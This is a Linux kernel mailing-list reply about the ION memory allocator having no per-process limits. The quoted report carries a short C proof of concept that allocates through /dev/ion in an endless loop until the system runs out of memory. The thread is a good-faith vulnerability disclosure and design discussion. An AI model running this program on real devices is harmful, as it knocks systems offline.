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SubjectRe: Limits for ION Memory Allocator
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On 7/17/19 12:31 PM, Alexander Popov wrote:
> Hello!
>
> The syzkaller [1] has a trouble with fuzzing the Linux kernel with ION Memory
> Allocator.
>
> Syzkaller uses several methods [2] to limit memory consumption of the userspace
> processes calling the syscalls for testing the kernel:
> - setrlimit(),
> - cgroups,
> - various sysctl.
> But these methods don't work for ION Memory Allocator, so any userspace process
> that has access to /dev/ion can bring the system to the out-of-memory state.
>
> An example of a program doing that:
>
>
> #include <sys/types.h>
> #include <sys/stat.h>
> #include <fcntl.h>
> #include <stdio.h>
> #include <linux/types.h>
> #include <sys/ioctl.h>
>
> #define ION_IOC_MAGIC 'I'
> #define ION_IOC_ALLOC _IOWR(ION_IOC_MAGIC, 0, \
> struct ion_allocation_data)
>
> struct ion_allocation_data {
> __u64 len;
> __u32 heap_id_mask;
> __u32 flags;
> __u32 fd;
> __u32 unused;
> };
>
> int main(void)
> {
> unsigned long i = 0;
> int fd = -1;
> struct ion_allocation_data data = {
> .len = 0x13f65d8c,
> .heap_id_mask = 1,
> .flags = 0,
> .fd = -1,
> .unused = 0
> };
>
> fd = open("/dev/ion", 0);
> if (fd == -1) {
> perror("[-] open /dev/ion");
> return 1;
> }
>
> while (1) {
> printf("iter %lu\n", i);
> ioctl(fd, ION_IOC_ALLOC, &data);
> i++;
> }
>
> return 0;
> }
>
>
> I looked through the code of ion_alloc() and didn't find any limit checks.
> Is it currently possible to limit ION kernel allocations for some process?
>
> If not, is it a right idea to do that?
> Thanks!
>

Yes, I do think that's the right approach. We're working on moving Ion
out of staging and this is something I mentioned to John Stultz. I don't
think we've thought too hard about how to do the actual limiting so
suggestions are welcome.

Thanks,
Laura

> Best regards,
> Alexander
>
>
> [1]: https://github.com/google/syzkaller
> [2]: https://github.com/google/syzkaller/blob/master/executor/common_linux.h
>

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